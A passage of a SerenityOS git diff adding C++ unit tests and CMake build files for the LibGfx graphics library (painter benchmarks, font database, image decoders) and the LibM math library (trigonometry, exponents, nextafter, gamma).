auto bitmap = Gfx::Bitmap::create(Gfx::BitmapFormat::BGRx8888, { bitmap_size, bitmap_size });
|
||||
Gfx::Painter painter(*bitmap);
|
||||
|
||||
for (int run = 0; run < run_count; run++) {
|
||||
painter.fill_rect(bitmap->rect(), Color::Blue);
|
||||
}
|
||||
}
|
||||
|
||||
BENCHMARK_CASE(fill_with_gradient)
|
||||
{
|
||||
const int run_count = 50;
|
||||
const int bitmap_size = 2000;
|
||||
|
||||
auto bitmap = Gfx::Bitmap::create(Gfx::BitmapFormat::BGRx8888, { bitmap_size, bitmap_size });
|
||||
Gfx::Painter painter(*bitmap);
|
||||
|
||||
for (int run = 0; run < run_count; run++) {
|
||||
painter.fill_rect_with_gradient(bitmap->rect(), Color::Blue, Color::Red);
|
||||
}
|
||||
}
|
5
Tests/LibGfx/CMakeLists.txt
Normal file
5
Tests/LibGfx/CMakeLists.txt
Normal file
|
@ -0,0 +1,5 @@
|
|||
file(GLOB TEST_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
|
||||
foreach(source ${TEST_SOURCES})
|
||||
serenity_test(${source} LibGfx LIBS LibGUI)
|
||||
endforeach()
|
169
Tests/LibGfx/TestFontHandling.cpp
Normal file
169
Tests/LibGfx/TestFontHandling.cpp
Normal file
|
@ -0,0 +1,169 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibGfx/BitmapFont.h>
|
||||
#include <LibGfx/FontDatabase.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_fontdatabase_get_by_name)
|
||||
{
|
||||
const char* name = "Liza 10 400";
|
||||
auto& font_database = Gfx::FontDatabase::the();
|
||||
EXPECT(!font_database.get_by_name(name)->name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_fontdatabase_get)
|
||||
{
|
||||
auto& font_database = Gfx::FontDatabase::the();
|
||||
EXPECT(!font_database.get("Liza", 10, 400)->name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_fontdatabase_for_each_font)
|
||||
{
|
||||
auto& font_database = Gfx::FontDatabase::the();
|
||||
font_database.for_each_font([&](const Gfx::Font& font) {
|
||||
EXPECT(!font.name().is_null());
|
||||
EXPECT(!font.qualified_name().is_null());
|
||||
EXPECT(!font.family().is_null());
|
||||
EXPECT(font.glyph_count() > 0);
|
||||
});
|
||||
}
|
||||
|
||||
TEST_CASE(test_default_font)
|
||||
{
|
||||
EXPECT(!Gfx::FontDatabase::default_font().name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_default_fixed_width_font)
|
||||
{
|
||||
EXPECT(!Gfx::FontDatabase::default_fixed_width_font().name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_default_bold_fixed_width_font)
|
||||
{
|
||||
EXPECT(!Gfx::FontDatabase::default_bold_fixed_width_font().name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_default_bold_font)
|
||||
{
|
||||
EXPECT(!Gfx::FontDatabase::default_bold_font().name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_clone)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
auto new_font = font->clone();
|
||||
EXPECT(!new_font->name().is_null());
|
||||
EXPECT(!new_font->qualified_name().is_null());
|
||||
EXPECT(!new_font->family().is_null());
|
||||
EXPECT(new_font->glyph_count() > 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_set_name)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
const char* name = "my newly created font";
|
||||
font->set_name(name);
|
||||
|
||||
EXPECT(!font->name().is_null());
|
||||
EXPECT(font->name().contains(name));
|
||||
}
|
||||
|
||||
TEST_CASE(test_set_family)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
const char* family = "my newly created font family";
|
||||
font->set_family(family);
|
||||
|
||||
EXPECT(!font->family().is_null());
|
||||
EXPECT(font->family().contains(family));
|
||||
}
|
||||
|
||||
TEST_CASE(test_set_glyph_width)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
size_t ch = 123;
|
||||
font->set_glyph_width(ch, glyph_width);
|
||||
|
||||
EXPECT(font->glyph_width(ch) == glyph_width);
|
||||
}
|
||||
|
||||
TEST_CASE(test_set_glyph_spacing)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
u8 glyph_spacing = 8;
|
||||
font->set_glyph_spacing(glyph_spacing);
|
||||
|
||||
EXPECT(font->glyph_spacing() == glyph_spacing);
|
||||
}
|
||||
|
||||
TEST_CASE(test_set_type)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
auto type = Gfx::FontTypes::Default;
|
||||
font->set_type(type);
|
||||
|
||||
EXPECT(font->type() == type);
|
||||
}
|
||||
|
||||
TEST_CASE(test_width)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
EXPECT(font->width("A") == glyph_width);
|
||||
}
|
||||
|
||||
TEST_CASE(test_glyph_or_emoji_width)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
font->set_type(Gfx::FontTypes::Default);
|
||||
|
||||
EXPECT(font->glyph_or_emoji_width(0));
|
||||
}
|
||||
|
||||
TEST_CASE(test_load_from_file)
|
||||
{
|
||||
auto font = Gfx::BitmapFont::load_from_file("/res/fonts/PebbletonBold14.font");
|
||||
EXPECT(!font->name().is_null());
|
||||
}
|
||||
|
||||
TEST_CASE(test_write_to_file)
|
||||
{
|
||||
u8 glyph_height = 1;
|
||||
u8 glyph_width = 1;
|
||||
auto font = Gfx::BitmapFont::create(glyph_height, glyph_width, true, Gfx::FontTypes::Default);
|
||||
|
||||
char path[] = "/tmp/new.font.XXXXXX";
|
||||
EXPECT(mkstemp(path) != -1);
|
||||
EXPECT(font->write_to_file(path));
|
||||
unlink(path);
|
||||
}
|
136
Tests/LibGfx/TestImageDecoder.cpp
Normal file
136
Tests/LibGfx/TestImageDecoder.cpp
Normal file
|
@ -0,0 +1,136 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/String.h>
|
||||
#include <LibGfx/BMPLoader.h>
|
||||
#include <LibGfx/GIFLoader.h>
|
||||
#include <LibGfx/ICOLoader.h>
|
||||
#include <LibGfx/ImageDecoder.h>
|
||||
#include <LibGfx/JPGLoader.h>
|
||||
#include <LibGfx/PBMLoader.h>
|
||||
#include <LibGfx/PGMLoader.h>
|
||||
#include <LibGfx/PNGLoader.h>
|
||||
#include <LibGfx/PPMLoader.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(test_bmp)
|
||||
{
|
||||
auto image = Gfx::load_bmp("/res/html/misc/bmpsuite_files/rgba32-1.bmp");
|
||||
auto bmp = Gfx::BMPImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(bmp.frame_count());
|
||||
|
||||
EXPECT(!bmp.sniff());
|
||||
EXPECT(!bmp.is_animated());
|
||||
EXPECT(!bmp.loop_count());
|
||||
|
||||
auto frame = bmp.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_gif)
|
||||
{
|
||||
auto image = Gfx::load_gif("/res/graphics/download-animation.gif");
|
||||
auto gif = Gfx::GIFImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(gif.frame_count());
|
||||
|
||||
EXPECT(!gif.sniff());
|
||||
// FIXME: is_animated() should return true
|
||||
// LibGfx::load_gif() returns a bitmap and lies about is_animated()
|
||||
EXPECT(!gif.is_animated());
|
||||
EXPECT(!gif.loop_count());
|
||||
|
||||
auto frame = gif.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_ico)
|
||||
{
|
||||
// FIXME: Use an ico file
|
||||
auto image = Gfx::load_ico("/res/graphics/buggie.png");
|
||||
auto ico = Gfx::ICOImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(ico.frame_count());
|
||||
|
||||
EXPECT(!ico.sniff());
|
||||
EXPECT(!ico.is_animated());
|
||||
EXPECT(!ico.loop_count());
|
||||
|
||||
auto frame = ico.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_jpg)
|
||||
{
|
||||
auto image = Gfx::load_jpg("/res/html/misc/bmpsuite_files/rgb24.jpg");
|
||||
auto jpg = Gfx::JPGImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(jpg.frame_count());
|
||||
|
||||
EXPECT(!jpg.sniff());
|
||||
EXPECT(!jpg.is_animated());
|
||||
EXPECT(!jpg.loop_count());
|
||||
|
||||
auto frame = jpg.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_pbm)
|
||||
{
|
||||
auto image = Gfx::load_pbm("/res/html/misc/pbmsuite_files/buggie-raw.pbm");
|
||||
auto pbm = Gfx::PBMImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(pbm.frame_count());
|
||||
|
||||
EXPECT(!pbm.sniff());
|
||||
EXPECT(!pbm.is_animated());
|
||||
EXPECT(!pbm.loop_count());
|
||||
|
||||
auto frame = pbm.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_pgm)
|
||||
{
|
||||
auto image = Gfx::load_pbm("/res/html/misc/pbmsuite_files/buggie-raw.pbm");
|
||||
auto pgm = Gfx::PGMImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(pgm.frame_count());
|
||||
|
||||
EXPECT(!pgm.sniff());
|
||||
EXPECT(!pgm.is_animated());
|
||||
EXPECT(!pgm.loop_count());
|
||||
|
||||
auto frame = pgm.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_png)
|
||||
{
|
||||
auto image = Gfx::load_png("/res/graphics/buggie.png");
|
||||
auto png = Gfx::PNGImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(png.frame_count());
|
||||
|
||||
EXPECT(!png.sniff());
|
||||
EXPECT(!png.is_animated());
|
||||
EXPECT(!png.loop_count());
|
||||
|
||||
auto frame = png.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(test_ppm)
|
||||
{
|
||||
auto image = Gfx::load_ppm("/res/html/misc/ppmsuite_files/buggie-raw.ppm");
|
||||
auto ppm = Gfx::PPMImageDecoderPlugin((const u8*)&image, sizeof(*image));
|
||||
EXPECT(ppm.frame_count());
|
||||
|
||||
EXPECT(!ppm.sniff());
|
||||
EXPECT(!ppm.is_animated());
|
||||
EXPECT(!ppm.loop_count());
|
||||
|
||||
auto frame = ppm.frame(1);
|
||||
EXPECT(frame.duration == 0);
|
||||
}
|
5
Tests/LibM/CMakeLists.txt
Normal file
5
Tests/LibM/CMakeLists.txt
Normal file
|
@ -0,0 +1,5 @@
|
|||
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
|
||||
foreach(CMD_SRC ${CMD_SOURCES})
|
||||
serenity_test(${CMD_SRC} LibM)
|
||||
endforeach()
|
252
Tests/LibM/test-math.cpp
Normal file
252
Tests/LibM/test-math.cpp
Normal file
|
@ -0,0 +1,252 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2021, Andreas Kling <kling@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <float.h>
|
||||
#include <math.h>
|
||||
|
||||
TEST_CASE(atan2)
|
||||
{
|
||||
EXPECT_APPROXIMATE(atan2(-1, -0.0e0), -M_PI_2);
|
||||
EXPECT_APPROXIMATE(atan2(-0.0e0, -1), -M_PI);
|
||||
EXPECT_APPROXIMATE(atan2(0.0e0, -1), M_PI);
|
||||
EXPECT_APPROXIMATE(atan2(-0.0e0, 1), -0.0e0);
|
||||
EXPECT_APPROXIMATE(atan2(0.0e0, 1), 0.0e0);
|
||||
}
|
||||
|
||||
TEST_CASE(trig)
|
||||
{
|
||||
EXPECT_APPROXIMATE(sin(1234), 0.601928);
|
||||
EXPECT_APPROXIMATE(cos(1234), -0.798551);
|
||||
EXPECT_APPROXIMATE(tan(1234), -0.753775);
|
||||
EXPECT_APPROXIMATE(sqrt(1234), 35.128336);
|
||||
EXPECT_APPROXIMATE(sin(-1), -0.8414709848078965);
|
||||
EXPECT_APPROXIMATE(cos(-1), 0.5403023058681398);
|
||||
EXPECT_APPROXIMATE(tan(-1), -1.5574077246549023);
|
||||
EXPECT(isnan(sqrt(-1)));
|
||||
EXPECT(isnan(asin(1.1)));
|
||||
EXPECT(isnan(asin(-1.1)));
|
||||
EXPECT_APPROXIMATE(asin(0), 0.0);
|
||||
EXPECT_APPROXIMATE(asin(0.01), 0.01);
|
||||
EXPECT_APPROXIMATE(asin(0.1), 0.100167);
|
||||
EXPECT_APPROXIMATE(asin(0.3), 0.304693);
|
||||
EXPECT_APPROXIMATE(asin(0.499), 0.522444);
|
||||
EXPECT_APPROXIMATE(asin(0.5), 0.523599);
|
||||
EXPECT_APPROXIMATE(asin(0.501), 0.524754);
|
||||
EXPECT_APPROXIMATE(asin(0.9), 1.119770);
|
||||
EXPECT_APPROXIMATE(asin(0.99), 1.429257);
|
||||
EXPECT_APPROXIMATE(asin(1.0), 1.570796);
|
||||
EXPECT_APPROXIMATE(atan(0), 0.0);
|
||||
EXPECT_APPROXIMATE(atan(0.5), 0.463648);
|
||||
EXPECT_APPROXIMATE(atan(-0.5), -0.463648);
|
||||
EXPECT_APPROXIMATE(atan(5.5), 1.390943);
|
||||
EXPECT_APPROXIMATE(atan(-5.5), -1.390943);
|
||||
EXPECT_APPROXIMATE(atan(555.5), 1.568996);
|
||||
}
|
||||
|
||||
TEST_CASE(other)
|
||||
{
|
||||
EXPECT_EQ(trunc(9999999999999.5), 9999999999999.0);
|
||||
EXPECT_EQ(trunc(-9999999999999.5), -9999999999999.0);
|
||||
}
|
||||
|
||||
TEST_CASE(exponents)
|
||||
{
|
||||
struct values {
|
||||
double x;
|
||||
double exp;
|
||||
double sinh;
|
||||
double cosh;
|
||||
double tanh;
|
||||
};
|
||||
|
||||
values values[8] {
|
||||
{ 1.500000, 4.481689, 2.129279, 2.352410, 0.905148 },
|
||||
{ 20.990000, 1305693298.670892, 652846649.335446, 652846649.335446, 1.000000 },
|
||||
{ 20.010000, 490041186.687082, 245020593.343541, 245020593.343541, 1.000000 },
|
||||
{ 0.000000, 1.000000, 0.000000, 1.000000, 0.000000 },
|
||||
{ 0.010000, 1.010050, 0.010000, 1.000050, 0.010000 },
|
||||
{ -0.010000, 0.990050, -0.010000, 1.000050, -0.010000 },
|
||||
{ -1.000000, 0.367879, -1.175201, 1.543081, -0.761594 },
|
||||
{ -17.000000, 0.000000, -12077476.376788, 12077476.376788, -1.000000 },
|
||||
};
|
||||
for (auto& v : values) {
|
||||
EXPECT_APPROXIMATE(exp(v.x), v.exp);
|
||||
EXPECT_APPROXIMATE(sinh(v.x), v.sinh);
|
||||
EXPECT_APPROXIMATE(cosh(v.x), v.cosh);
|
||||
EXPECT_APPROXIMATE(tanh(v.x), v.tanh);
|
||||
}
|
||||
EXPECT_EQ(exp(1000), __builtin_huge_val());
|
||||
}
|
||||
|
||||
TEST_CASE(logarithms)
|
||||
{
|
||||
EXPECT(isnan(log(-1)));
|
||||
EXPECT(log(0) < -1000000);
|
||||
EXPECT_APPROXIMATE(log(0.5), -0.693147);
|
||||
EXPECT_APPROXIMATE(log(1.1), 0.095310);
|
||||
EXPECT_APPROXIMATE(log(5), 1.609438);
|
||||
EXPECT_APPROXIMATE(log(5.5), 1.704748);
|
||||
EXPECT_APPROXIMATE(log(500), 6.214608);
|
||||
EXPECT_APPROXIMATE(log2(5), 2.321928);
|
||||
EXPECT_APPROXIMATE(log10(5), 0.698970);
|
||||
}
|
||||
|
||||
union Extractor {
|
||||
explicit Extractor(double d)
|
||||
: d(d)
|
||||
{
|
||||
}
|
||||
Extractor(unsigned sign, unsigned exponent, unsigned long long mantissa)
|
||||
: mantissa(mantissa)
|
||||
, exponent(exponent)
|
||||
, sign(sign)
|
||||
{
|
||||
}
|
||||
struct {
|
||||
unsigned long long mantissa : 52;
|
||||
unsigned exponent : 11;
|
||||
unsigned sign : 1;
|
||||
};
|
||||
double d;
|
||||
|
||||
bool operator==(const Extractor& other) const
|
||||
{
|
||||
return other.sign == sign && other.exponent == exponent && other.mantissa == mantissa;
|
||||
}
|
||||
};
|
||||
namespace AK {
|
||||
template<>
|
||||
struct Formatter<Extractor> : StandardFormatter {
|
||||
void format(FormatBuilder& builder, const Extractor& value)
|
||||
{
|
||||
builder.put_literal("{");
|
||||
builder.put_u64(value.sign);
|
||||
builder.put_literal(", ");
|
||||
builder.put_u64(value.exponent, 16, true);
|
||||
builder.put_literal(", ");
|
||||
builder.put_u64(value.mantissa, 16, true);
|
||||
builder.put_literal("}");
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
static Extractor nextafter_translator(Extractor x, Extractor target)
|
||||
{
|
||||
return Extractor(nextafter(x.d, target.d));
|
||||
}
|
||||
|
||||
TEST_CASE(nextafter)
|
||||
{
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x1, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe848200000000)), Extractor(0x0, 0x3ff, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x412, 0xe847e00000000)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x412, 0xe848000000000)), Extractor(0x0, 0x0, 0x2));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848200000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe8481ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe847e00000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x412, 0xe847dffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x412, 0xe848000000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x412, 0xe847fffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x0, 0x1, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x0, 0x3ff, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x3ff, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x0, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x1, 0x7fe, 0xffffffffffffe));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x1, 0x0), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x1), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x1, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xffffffffffffe));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x1, 0x0)), Extractor(0x0, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x0, 0x0, 0x0)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x0, 0x1)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x1, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d783fc000000)), Extractor(0x0, 0x3fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x0), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x1, 0x0, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x3ff, 0x0), Extractor(0x1, 0x419, 0x7d78404000000)), Extractor(0x1, 0x3ff, 0x1));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x0, 0x1), Extractor(0x1, 0x419, 0x7d78400000000)), Extractor(0x0, 0x0, 0x0));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x0, 0x7fe, 0xfffffffffffff), Extractor(0x0, 0x7fe, 0xfffffffffffff)), Extractor(0x0, 0x7fe, 0xfffffffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x1, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d783fc000000), Extractor(0x0, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d783fbffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x1, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x0)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78404000000), Extractor(0x1, 0x3ff, 0x0)), Extractor(0x1, 0x419, 0x7d78403ffffff));
|
||||
EXPECT_EQ(nextafter_translator(Extractor(0x1, 0x419, 0x7d78400000000), Extractor(0x0, 0x0, 0x1)), Extractor(0x1, 0x419, 0x7d783ffffffff));
|
||||
}
|
||||
|
||||
TEST_CASE(scalbn)
|
||||
{
|
||||
EXPECT(isnan(scalbn(NAN, 3)));
|
||||
EXPECT(!isfinite(scalbn(INFINITY, 5)));
|
||||
EXPECT_EQ(scalbn(0, 3), 0);
|
||||
EXPECT_EQ(scalbn(15.3, 0), 15.3);
|
||||
|
||||
EXPECT_EQ(scalbn(0x0.0000000000008p-1022, 16), 0x0.0000000000008p-1006);
|
||||
static constexpr auto biggest_subnormal = DBL_MIN - DBL_TRUE_MIN;
|
||||
auto smallest_normal = scalbn(biggest_subnormal, 1);
|
||||
Extractor ex(smallest_normal);
|
||||
EXPECT(ex.exponent != 0);
|
||||
|
||||
EXPECT_EQ(scalbn(2.0, 4), 32.0);
|
||||
}
|
||||
|
||||
TEST_CASE(gamma)
|
||||
{
|
||||
EXPECT(isinf(tgamma(+0.0)) && !signbit(tgamma(+0.0)));
|
||||
EXPECT(isinf(tgamma(-0.0)) && signbit(tgamma(-0.0)));
|
||||
EXPECT(isinf(tgamma(INFINITY)) && !signbit(tgamma(INFINITY)));
|
||||
EXPECT(isnan(tgamma(NAN)));
|
||||
EXPECT(isnan(tgamma(-INFINITY)));
|
||||
EXPECT(isnan(tgamma(-5)));
|
||||
|
||||
EXPECT_APPROXIMATE(tgamma(0.5), sqrt(M_PI));
|
||||
EXPECT_EQ(tgammal(21.0l), 2'432'902'008'176'640'000.0l);
|
||||
EXPECT_EQ(tgamma(19.0), 6'402'373'705'728'000.0);
|
||||
EXPECT_EQ(tgammaf(11.0f), 3628800.0f);
|
||||
EXPECT_EQ(tgamma(4.0), 6);
|
||||
|
||||
EXPECT_EQ(lgamma(1.0), 0.0);
|
||||
EXPECT_EQ(lgamma(2.0), 0.0);
|
||||
EXPECT(isinf(lgamma(0.0)));
|
||||
